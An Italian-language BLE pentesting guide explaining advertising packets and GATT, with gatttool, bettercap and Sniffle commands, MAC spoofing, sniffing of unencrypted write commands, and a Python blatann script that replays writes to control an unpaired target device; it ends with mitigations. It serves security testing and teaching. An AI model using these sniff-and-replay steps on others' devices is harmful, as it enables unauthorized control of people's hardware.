Pentesting BLE - Bluetooth Low Energy

Reading time: 9 minutes

Introduzione

Disponibile dalla specifica Bluetooth 4.0, BLE utilizza solo 40 canali, che coprono la gamma da 2400 a 2483.5 MHz. In confronto, il Bluetooth tradizionale utilizza 79 canali nello stesso intervallo.

I dispositivi BLE comunicano inviando advertising packets (beacons), questi pacchetti trasmettono l'esistenza del dispositivo BLE ad altri dispositivi nelle vicinanze. Questi beacons a volte inviamo dati, anche.

Il dispositivo che ascolta, chiamato anche central device, può rispondere a un advertising packet con una SCAN request inviata specificamente al dispositivo che effettua l'advertising. La response a quella scan utilizza la stessa struttura dell'advertising packet con informazioni aggiuntive che non potevano entrare nella richiesta di advertising iniziale, come il nome completo del dispositivo.

Il byte di preambolo sincronizza la frequenza, mentre l'access address di quattro byte è un identificatore di connessione, usato in scenari in cui più dispositivi cercano di stabilire connessioni sugli stessi canali. Successivamente, la Protocol Data Unit (PDU) contiene gli advertising data. Esistono diversi tipi di PDU; i più comunemente usati sono ADV_NONCONN_IND e ADV_IND. I dispositivi usano il tipo PDU ADV_NONCONN_IND se non accettano connessioni, trasmettendo dati solo nel pacchetto di advertising. I dispositivi usano ADV_IND se consentono connessioni e smettono di inviare advertising packets una volta che una connessione è stata stabilita.

GATT

Il Generic Attribute Profile (GATT) definisce come il dispositivo dovrebbe formattare e trasferire i dati. Quando stai analizzando l'attack surface di un dispositivo BLE, spesso concentrerai la tua attenzione sul GATT (o sui GATT), perché è il modo in cui la funzionalità del dispositivo viene attivata e come i dati vengono memorizzati, raggruppati e modificati. Il GATT elenca le characteristics, descriptors e services di un dispositivo in una tabella come valori a 16 o 32 bit. Una characteristic è un valore di dati inviato tra il central device e il peripheral. Queste characteristics possono avere descriptors che forniscono informazioni aggiuntive su di esse. Le Characteristics sono spesso raggruppate in services se sono correlate all'esecuzione di una particolare azione.

Enumerazione

hciconfig #Check config, check if UP or DOWN
# If DOWN try:
sudo modprobe -c bluetooth
sudo hciconfig hci0 down && sudo hciconfig hci0 up

# Spoof MAC
spooftooph -i hci0 -a 11:22:33:44:55:66

GATTool

GATTool consente di stabilire una connessione con un altro dispositivo, elencandone le caratteristiche, e leggendo e scrivendo i suoi attributi.
GATTTool può avviare una shell interattiva con l'opzione -I:

gatttool -i hci0 -I
[ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful
[A4:CF:12:6C:B3:76][LE]> characteristics
handle: 0x0002, char properties: 0x20, char value handle:
0x0003, uuid: 00002a05-0000-1000-8000-00805f9b34fb
handle: 0x0015, char properties: 0x02, char value handle:
0x0016, uuid: 00002a00-0000-1000-8000-00805f9b34fb
[...]

# Write data
gatttool -i <Bluetooth adapter interface> -b <MAC address of device> --char-write-req <characteristic handle> -n <value>
gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x002e -n $(echo -n "04dc54d9053b4307680a"|xxd -ps)

# Read data
gatttool -i <Bluetooth adapter interface> -b <MAC address of device> --char-read -a 0x16

# Read connecting with an authenticated encrypted connection
gatttool --sec-level=high -b a4:cf:12:6c:b3:76 --char-read -a 0x002c

Bettercap

# Start listening for beacons
sudo bettercap --eval "ble.recon on"
# Wait some time
>> ble.show # Show discovered devices
>> ble.enum <mac addr> # This will show the service, characteristics and properties supported

# Write data in a characteristic
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06

Sniffing e controllo attivo dei dispositivi BLE non associati

Molti periferici BLE a basso costo non impongono pairing/bonding. Senza bonding, la cifratura del Link Layer non viene mai abilitata, quindi il traffico ATT/GATT è in chiaro. Un off-path sniffer può seguire la connessione, decodificare le operazioni GATT per apprendere gli handle e i valori delle characteristic, e qualsiasi host nelle vicinanze può poi connettersi e riprodurre quelle scritture per controllare il dispositivo.

Sniffing with Sniffle (CC26x2/CC1352)

Hardware: un Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) riprogrammato con il firmware Sniffle di NCC Group.

Installa Sniffle e il suo Wireshark extcap su Linux:

if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then
echo "[+] - Sniffle not installed! Installing at 1.10.0..."
sudo mkdir -p /opt/sniffle
sudo chown -R $USER:$USER /opt/sniffle
pushd /opt/sniffle
wget https://github.com/nccgroup/Sniffle/archive/refs/tags/v1.10.0.tar.gz
tar xvf v1.10.0.tar.gz
# Install Wireshark extcap for user and root only
mkdir -p $HOME/.local/lib/wireshark/extcap
ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py $HOME/.local/lib/wireshark/extcap
sudo mkdir -p /root/.local/lib/wireshark/extcap
sudo ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py /root/.local/lib/wireshark/extcap
popd
else
echo "[+] - Sniffle already installed at 1.10.0"
fi

Flasha il Sonoff con il firmware Sniffle (assicurati che il tuo dispositivo seriale corrisponda, ad es. /dev/ttyUSB0):

pushd /opt/sniffle/
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
git clone https://github.com/sultanqasim/cc2538-bsl.git
cd cc2538-bsl
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install pyserial intelhex
python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc1352p1_cc2652p1_1M.hex
deactivate
popd

Cattura in Wireshark tramite lo Sniffle extcap e pivot rapidamente verso state-changing writes filtrando:

_ws.col.info contains "Sent Write Command"

Questo mette in evidenza gli ATT Write Commands dal client; l'handle e il value spesso si mappano direttamente alle azioni del dispositivo (es., scrivere 0x01 su una characteristic buzzer/alert, 0x00 per fermarla).

Esempi rapidi di Sniffle CLI:

python3 scanner.py --output scan.pcap
# Only devices with very strong signal
python3 scanner.py --rssi -40
# Filter advertisements containing a string
python3 sniffer.py --string "banana" --output sniff.pcap

Alternative sniffer: Nordic’s nRF Sniffer for BLE + Wireshark plugin also works. On small/cheap Nordic dongles you typically overwrite the USB bootloader to load the sniffer firmware, so you either keep a dedicated sniffer dongle or need a J-Link/JTAG to restore the bootloader later.

Controllo attivo via GATT

Una volta identificati un writable characteristic handle e il valore dal traffico sniffato, connettiti come qualsiasi central ed esegui la stessa write:

• With Nordic nRF Connect for Desktop (BLE app):

• Seleziona il dongle nRF52/nRF52840, esegui la scan e connettiti al target.

• Esplora il database GATT, individua la target characteristic (spesso ha un nome amichevole, e.g., Alert Level).

• Perform a Write with the sniffed bytes (e.g., 01 to trigger, 00 to stop).

• Automatizza su Windows con un Nordic dongle usando Python + blatann:

import time
import blatann

# CONFIG
COM_PORT = "COM29"  # Replace with your COM port
TARGET_MAC = "5B:B1:7F:47:A7:00"  # Replace with your target MAC

target_address = blatann.peer.PeerAddress.from_string(TARGET_MAC + ",p")

# CONNECT
ble_device = blatann.BleDevice(COM_PORT)
ble_device.configure()
ble_device.open()
print(f"[-] Connecting to {TARGET_MAC}...")
peer = ble_device.connect(target_address).wait()
if not peer:
print("[!] Connection failed.")
ble_device.close()
raise SystemExit(1)

print("Connected. Discovering services...")
peer.discover_services().wait(5, exception_on_timeout=False)

# Example: write 0x01/0x00 to a known handle
for service in peer.database.services:
for ch in service.characteristics:
if ch.handle == 0x000b:  # Replace with your handle
print("[!] Beeping.")
ch.write(b"\x01")
time.sleep(2)
print("[+] And relax.")
ch.write(b"\x00")

print("[-] Disconnecting...")
peer.disconnect()
peer.wait_for_disconnect()
ble_device.close()

Note operative e mitigazioni

• Preferire Sonoff+Sniffle su Linux per un channel hopping robusto e per seguire le connessioni. Tenere uno sniffer Nordic di riserva.
• Senza pairing/bonding, un attacker nelle vicinanze può osservare le writes e replay/craft le proprie verso caratteristiche scrivibili non autenticate.
• Mitigazioni: richiedere pairing/bonding e imporre la cifratura; impostare i permessi delle caratteristiche per richiedere authenticated writes; minimizzare le caratteristiche scrivibili non autenticate; validare GATT ACLs con Sniffle/nRF Connect.

Riferimenti

• Start hacking Bluetooth Low Energy today! (part 2) – Pentest Partners
• Sniffle – A sniffer for Bluetooth 5 and 4.x LE
• Firmware installation for Sonoff USB Dongle (Sniffle README)
• Sonoff Zigbee 3.0 USB Dongle Plus (ZBDongle-P)
• Nordic nRF Sniffer for Bluetooth LE
• nRF Connect for Desktop
• blatann – Python BLE library for Nordic devices